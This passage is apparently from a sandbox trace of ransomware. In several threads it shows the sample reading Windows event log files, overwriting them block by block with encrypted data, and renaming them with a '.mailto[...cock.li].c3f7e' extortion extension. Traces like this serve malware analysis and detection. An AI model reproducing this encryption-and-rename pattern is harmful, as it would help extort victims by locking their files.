	[0081.278] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x61) returned 0x47ec960
	[0081.278] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa808
	[0081.278] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04630
	[0081.278] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e88
	[0081.278] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e88) returned 1
	[0081.279] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x61) returned 0x47ecb20
	[0081.279] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33eb0
	[0081.279] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e88
	[0081.279] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e88) returned 1
	[0081.279] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04630) returned 1
	[0081.279] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa808) returned 1
	[0081.279] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x145) returned 0x4731d00
	[0081.279] SetFilePointerEx (in: hFile=0x668, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.279] WriteFile (in: hFile=0x668, lpBuffer=0x4731d00*, nNumberOfBytesToWrite=0x145, lpNumberOfBytesWritten=0x118bfa98, lpOverlapped=0x0 | out: lpBuffer=0x4731d00*, lpNumberOfBytesWritten=0x118bfa98*=0x145, lpOverlapped=0x0) returned 1
	[0081.301] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731d00) returned 1
	[0081.301] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ecb20) returned 1
	[0081.301] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33eb0) returned 1
	[0081.301] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ec960) returned 1
	[0081.301] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0081.301] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d40) returned 1
	[0081.301] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77010) returned 1
	[0081.301] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47819e0) returned 1
	[0081.301] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xac) returned 0x2ddb258
	[0081.301] wcscpy (in: _Dest=0x2ddb258, _Source="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx"
	[0081.301] wcscat (in: _Dest=0x2ddb258, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0081.301] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x118bfa50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0081.301] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x47191f0
	[0081.304] NtSetInformationFile (FileHandle=0x668, IoStatusBlock=0x118bfa48, FileInformation=0x47191f0, Length=0xc2, FileInformationClass=0xa) returned 0x0
	[0087.753] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47191f0) returned 1
	[0087.753] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476b2e8) returned 1
	[0087.753] NtQueryInformationFile (in: FileHandle=0x668, IoStatusBlock=0x118bfa5c, FileInformation=0x118bfa34, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x118bfa5c, FileInformation=0x118bfa34) returned 0x0
	[0087.753] NtSetInformationFile (FileHandle=0x668, IoStatusBlock=0x118bfa5c, FileInformation=0x118bfa34, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.756] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2ddb258) returned 1
	[0087.756] FlushFileBuffers (hFile=0x668) returned 1
	[0092.858] CloseHandle (hObject=0x668) 

Thread:
	id = 433
	os_tid = 0x15ec

	[0076.967] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx")) returned 0x20
	[0080.474] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx", dwFileAttributes=0x20) returned 1
	[0080.474] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9a8
	[0080.474] GetFileSizeEx (in: hFile=0x9a8, lpFileSize=0x1193fe48 | out: lpFileSize=0x1193fe48*=69632) returned 1
	[0080.475] SetFilePointerEx (in: hFile=0x9a8, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.475] ReadFile (in: hFile=0x9a8, lpBuffer=0x1193fdcc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1193fdc8, lpOverlapped=0x0 | out: lpBuffer=0x1193fdcc*, lpNumberOfBytesRead=0x1193fdc8*=0x4, lpOverlapped=0x0) returned 1
	[0080.780] SetFilePointerEx (in: hFile=0x9a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.780] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e344d8
	[0080.780] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34438
	[0080.780] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33fd8
	[0080.780] NtQuerySystemTime (in: CurrentTime=0x1193fda8 | out: CurrentTime=0x1193fda8*=132251868075151099) returned 0x0
	[0080.780] RtlRandom (in: Seed=0x1193fdb4 | out: Seed=0x1193fdb4) returned 0xea6f013c
	[0080.780] RtlRandom (in: Seed=0x1193fdb4 | out: Seed=0x1193fdb4) returned 0x2578c41f
	[0080.780] RtlRandom (in: Seed=0x1193fdb4 | out: Seed=0x1193fdb4) returned 0x7b6ef0fe
	[0080.780] RtlRandom (in: Seed=0x1193fdb4 | out: Seed=0x1193fdb4) returned 0x230ab6ea
	[0080.780] RtlRandom (in: Seed=0x1193fdb4 | out: Seed=0x1193fdb4) returned 0x36aec628
	[0080.780] RtlRandom (in: Seed=0x1193fdb4 | out: Seed=0x1193fdb4) returned 0xbe1e128e
	[0080.780] RtlRandom (in: Seed=0x1193fdb4 | out: Seed=0x1193fdb4) returned 0x95992a8c
	[0080.780] RtlRandom (in: Seed=0x1193fdb4 | out: Seed=0x1193fdb4) returned 0xfad292ed
	[0080.780] RtlRandom (in: Seed=0x1193fdb4 | out: Seed=0x1193fdb4) returned 0x3c5983b7
	[0080.780] RtlRandom (in: Seed=0x1193fdb4 | out: Seed=0x1193fdb4) returned 0xebff9099
	[0080.780] RtlRandom (in: Seed=0x1193fdb4 | out: Seed=0x1193fdb4) returned 0x16f8def0
	[0080.780] RtlRandom (in: Seed=0x1193fdb4 | out: Seed=0x1193fdb4) returned 0x86a92210
	[0080.780] RtlRandom (in: Seed=0x1193fdb4 | out: Seed=0x1193fdb4) returned 0xe25d591b
	[0080.780] RtlRandom (in: Seed=0x1193fdb4 | out: Seed=0x1193fdb4) returned 0xa89bbd2f
	[0080.780] RtlRandom (in: Seed=0x1193fdb4 | out: Seed=0x1193fdb4) returned 0x2494aa35
	[0080.780] RtlRandom (in: Seed=0x1193fdb4 | out: Seed=0x1193fdb4) returned 0xd12e3d82
	[0080.780] RtlRandom (in: Seed=0x1193fdb4 | out: Seed=0x1193fdb4) returned 0x3a52e7d1
	[0080.780] RtlRandom (in: Seed=0x1193fdb4 | out: Seed=0x1193fdb4) returned 0x9eb3eef7
	[0080.780] RtlRandom (in: Seed=0x1193fdb4 | out: Seed=0x1193fdb4) returned 0x5de1e724
	[0080.780] RtlRandom (in: Seed=0x1193fdb4 | out: Seed=0x1193fdb4) returned 0x8a5920e1
	[0080.780] RtlRandom (in: Seed=0x1193fdb4 | out: Seed=0x1193fdb4) returned 0x4ca57011
	[0080.780] RtlRandom (in: Seed=0x1193fdb4 | out: Seed=0x1193fdb4) returned 0x8ebfff2c
	[0080.780] RtlRandom (in: Seed=0x1193fdb4 | out: Seed=0x1193fdb4) returned 0x279548bd
	[0080.780] RtlRandom (in: Seed=0x1193fdb4 | out: Seed=0x1193fdb4) returned 0x4cdfd4f
	[0080.780] RtlRandom (in: Seed=0x1193fdb4 | out: Seed=0x1193fdb4) returned 0x36f2100c
	[0080.780] RtlRandom (in: Seed=0x1193fdb4 | out: Seed=0x1193fdb4) returned 0x2531538c
	[0080.780] RtlRandom (in: Seed=0x1193fdb4 | out: Seed=0x1193fdb4) returned 0x24c1a825
	[0080.780] RtlRandom (in: Seed=0x1193fdb4 | out: Seed=0x1193fdb4) returned 0x705dad4
	[0080.780] RtlRandom (in: Seed=0x1193fdb4 | out: Seed=0x1193fdb4) returned 0x1bafb9fe
	[0080.780] RtlRandom (in: Seed=0x1193fdb4 | out: Seed=0x1193fdb4) returned 0xa9270f8c
	[0080.780] RtlRandom (in: Seed=0x1193fdb4 | out: Seed=0x1193fdb4) returned 0xb716f8ca
	[0080.780] RtlRandom (in: Seed=0x1193fdb4 | out: Seed=0x1193fdb4) returned 0xdb8681fa
	[0080.788] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34460
	[0080.790] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753c50
	[0080.790] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34168
	[0080.790] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753c50) returned 1
	[0080.790] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33fd8) returned 1
	[0080.790] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e344d8) returned 1
	[0080.790] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48bc820
	[0080.792] SetFilePointerEx (in: hFile=0x9a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.792] ReadFile (in: hFile=0x9a8, lpBuffer=0x48bc820, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1193fd88, lpOverlapped=0x0 | out: lpBuffer=0x48bc820*, lpNumberOfBytesRead=0x1193fd88*=0xc800, lpOverlapped=0x0) returned 1
	[0081.070] SetFilePointerEx (in: hFile=0x9a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.070] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa928
	[0081.070] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753890
	[0081.070] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33af0
	[0081.070] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33af0) returned 1
	[0081.071] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f7afc0
	[0081.074] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33af0
	[0081.074] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337d0
	[0081.074] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337d0) returned 1
	[0081.074] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753890) returned 1
	[0081.074] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa928) returned 1
	[0081.074] WriteFile (in: hFile=0x9a8, lpBuffer=0x4f7afc0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1193fd88, lpOverlapped=0x0 | out: lpBuffer=0x4f7afc0*, lpNumberOfBytesWritten=0x1193fd88*=0xc800, lpOverlapped=0x0) returned 1
	[0081.212] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f7afc0) returned 1
	[0081.212] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48bc820) returned 1
	[0081.212] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x7d) returned 0x498cf98
	[0081.213] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa808
	[0081.213] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04630
	[0081.213] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e60
	[0081.213] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e60) returned 1
	[0081.213] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x7d) returned 0x498d130
	[0081.213] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33d48
	[0081.213] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f78
	[0081.213] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f78) returned 1
	[0081.213] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04630) returned 1
	[0081.213] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa808) returned 1
	[0081.213] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x161) returned 0x4782d98
	[0081.213] SetFilePointerEx (in: hFile=0x9a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.213] WriteFile (in: hFile=0x9a8, lpBuffer=0x4782d98*, nNumberOfBytesToWrite=0x161, lpNumberOfBytesWritten=0x1193fe08, lpOverlapped=0x0 | out: lpBuffer=0x4782d98*, lpNumberOfBytesWritten=0x1193fe08*=0x161, lpOverlapped=0x0) returned 1
	[0081.296] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4782d98) returned 1
	[0081.296] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498d130) returned 1
	[0081.296] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d48) returned 1
	[0081.296] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498cf98) returned 1
	[0081.296] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33af0) returned 1
	[0081.296] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34438) returned 1
	[0081.296] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34460) returned 1
	[0081.296] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34168) returned 1
	[0081.296] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x47c9ac0
	[0081.296] wcscpy (in: _Dest=0x47c9ac0, _Source="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx"
	[0081.296] wcscat (in: _Dest=0x47c9ac0, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0081.296] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x1193fdc0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0081.296] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4e32428
	[0081.296] NtSetInformationFile (FileHandle=0x9a8, IoStatusBlock=0x1193fdb8, FileInformation=0x4e32428, Length=0xde, FileInformationClass=0xa) returned 0x0
	[0087.880] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e32428) returned 1
	[0087.881] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477d6e8) returned 1
	[0087.883] NtQueryInformationFile (in: FileHandle=0x9a8, IoStatusBlock=0x1193fdcc, FileInformation=0x1193fda4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1193fdcc, FileInformation=0x1193fda4) returned 0x0
	[0087.883] NtSetInformationFile (FileHandle=0x9a8, IoStatusBlock=0x1193fdcc, FileInformation=0x1193fda4, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.884] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47c9ac0) returned 1
	[0087.884] FlushFileBuffers (hFile=0x9a8) returned 1
	[0093.244] CloseHandle (hObject=0x9a8) 

Thread:
	id = 434
	os_tid = 0x15f0

	[0076.968] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx")) returned 0x20
	[0080.366] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx", dwFileAttributes=0x20) returned 1
	[0080.366] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x974
	[0080.366] GetFileSizeEx (in: hFile=0x974, lpFileSize=0x119bfdcc | out: lpFileSize=0x119bfdcc*=69632) returned 1
	[0080.366] SetFilePointerEx (in: hFile=0x974, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.366] ReadFile (in: hFile=0x974, lpBuffer=0x119bfd50, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x119bfd4c, lpOverlapped=0x0 | out: lpBuffer=0x119bfd50*, lpNumberOfBytesRead=0x119bfd4c*=0x4, lpOverlapped=0x0) returned 1
	[0080.381] SetFilePointerEx (in: hFile=0x974, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.381] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0080.381] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781828
	[0080.381] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781378
	[0080.381] NtQuerySystemTime (in: CurrentTime=0x119bfd2c | out: CurrentTime=0x119bfd2c*=132251868071244198) returned 0x0
	[0080.381] RtlRandom (in: Seed=0x119bfd38 | out: Seed=0x119bfd38) returned 0xd772ac0b
	[0080.381] RtlRandom (in: Seed=0x119bfd38 | out: Seed=0x119bfd38) returned 0x772b5374
	[0080.381] RtlRandom (in: Seed=0x119bfd38 | out: Seed=0x119bfd38) returned 0xb4437540
	[0080.381] RtlRandom (in: Seed=0x119bfd38 | out: Seed=0x119bfd38) returned 0xe447f81e
	[0080.381] RtlRandom (in: Seed=0x119bfd38 | out: Seed=0x119bfd38) returned 0x94da72f3
	[0080.381] RtlRandom (in: Seed=0x119bfd38 | out: Seed=0x119bfd38) returned 0x9c4c798f
	[0080.381] RtlRandom (in: Seed=0x119bfd38 | out: Seed=0x119bfd38) returned 0xf36dfc9a
	[0080.381] RtlRandom (in: Seed=0x119bfd38 | out: Seed=0x119bfd38) returned 0x5df7a9b0
	[0080.381] RtlRandom (in: Seed=0x119bfd38 | out: Seed=0x119bfd38) returned 0x3b7e8f88
	[0080.381] RtlRandom (in: Seed=0x119bfd38 | out: Seed=0x119bfd38) returned 0x65f23670
	[0080.381] RtlRandom (in: Seed=0x119bfd38 | out: Seed=0x119bfd38) returned 0x3c583927
	[0080.381] RtlRandom (in: Seed=0x119bfd38 | out: Seed=0x119bfd38) returned 0x6ac8f718
	[0080.381] RtlRandom (in: Seed=0x119bfd38 | out: Seed=0x119bfd38) returned 0xf428b2f3
	[0080.381] RtlRandom (in: Seed=0x119bfd38 | out: Seed=0x119bfd38) returned 0x4df31100
	[0080.381] RtlRandom (in: Seed=0x119bfd38 | out: Seed=0x119bfd38) returned 0xa28cd011
	[0080.381] RtlRandom (in: Seed=0x119bfd38 | out: Seed=0x119bfd38) returned 0xb0b620f6
	[0080.381] RtlRandom (in: Seed=0x119bfd38 | out: Seed=0x119bfd38) returned 0xba857f06
	[0080.381] RtlRandom (in: Seed=0x119bfd38 | out: Seed=0x119bfd38) returned 0x555f2e91
	[0080.381] RtlRandom (in: Seed=0x119bfd38 | out: Seed=0x119bfd38) returned 0x7e9c613a
	[0080.381] RtlRandom (in: Seed=0x119bfd38 | out: Seed=0x119bfd38) returned 0x236b3961
	[0080.381] RtlRandom (in: Seed=0x119bfd38 | out: Seed=0x119bfd38) returned 0x358b06b
	[0080.381] RtlRandom (in: Seed=0x119bfd38 | out: Seed=0x119bfd38) returned 0xce5f610b
	[0080.381] RtlRandom (in: Seed=0x119bfd38 | out: Seed=0x119bfd38) returned 0xff83c8cc
	[0080.381] RtlRandom (in: Seed=0x119bfd38 | out: Seed=0x119bfd38) returned 0xdbcee5de
	[0080.381] RtlRandom (in: Seed=0x119bfd38 | out: Seed=0x119bfd38) returned 0x3113523
	[0080.381] RtlRandom (in: Seed=0x119bfd38 | out: Seed=0x119bfd38) returned 0x4e92427b
	[0080.381] RtlRandom (in: Seed=0x119bfd38 | out: Seed=0x119bfd38) returned 0xdee39e2e
	[0080.381] RtlRandom (in: Seed=0x119bfd38 | out: Seed=0x119bfd38) returned 0xb4bbac6
	[0080.381] RtlRandom (in: Seed=0x119bfd38 | out: Seed=0x119bfd38) returned 0xb99bffa4
	[0080.382] RtlRandom (in: Seed=0x119bfd38 | out: Seed=0x119bfd38) returned 0xa9bc85f
	[0080.382] RtlRandom (in: Seed=0x119bfd38 | out: Seed=0x119bfd38) returned 0x5783cd49
	[0080.382] RtlRandom (in: Seed=0x119bfd38 | out: Seed=0x119bfd38) returned 0x287bd0be
	[0080.388] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781850
	[0080.390] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753c50
	[0080.390] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47814e0
	[0080.390] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753c50) returned 1
	[0080.390] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781378) returned 1
	[0080.390] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813a0) returned 1
	[0080.390] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x47cf7c0
	[0080.392] SetFilePointerEx (in: hFile=0x974, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.392] ReadFile (in: hFile=0x974, lpBuffer=0x47cf7c0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x119bfd0c, lpOverlapped=0x0 | out: lpBuffer=0x47cf7c0*, lpNumberOfBytesRead=0x119bfd0c*=0xc800, lpOverlapped=0x0) returned 1
	[0080.393] SetFilePointerEx (in: hFile=0x974, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.393] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa928
	[0080.393] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4754010
	[0080.393] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781378
	[0080.393] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781378) returned 1
	[0080.394] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x47dbfc8
	[0080.395] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781378
	[0080.395] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0080.395] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813a0) returned 1
	[0080.395] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4754010) returned 1
	[0080.395] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa928) returned 1
	[0080.395] WriteFile (in: hFile=0x974, lpBuffer=0x47dbfc8*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x119bfd0c, lpOverlapped=0x0 | out: lpBuffer=0x47dbfc8*, lpNumberOfBytesWritten=0x119bfd0c*=0xc800, lpOverlapped=0x0) returned 1
	[0080.397] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47dbfc8) returned 1
	[0080.397] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cf7c0) returned 1
	[0080.397] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x65) returned 0x47ecf80
	[0080.397] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa970
	[0080.398] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753890
	[0080.398] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813c8
	[0080.398] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813c8) returned 1
	[0080.398] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x65) returned 0x47ed530
	[0080.398] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813f0
	[0080.398] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0080.398] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813a0) returned 1
	[0080.398] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753890) returned 1
	[0080.398] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa970) returned 1
	[0080.398] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x149) returned 0x2dc3d68
	[0080.398] SetFilePointerEx (in: hFile=0x974, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
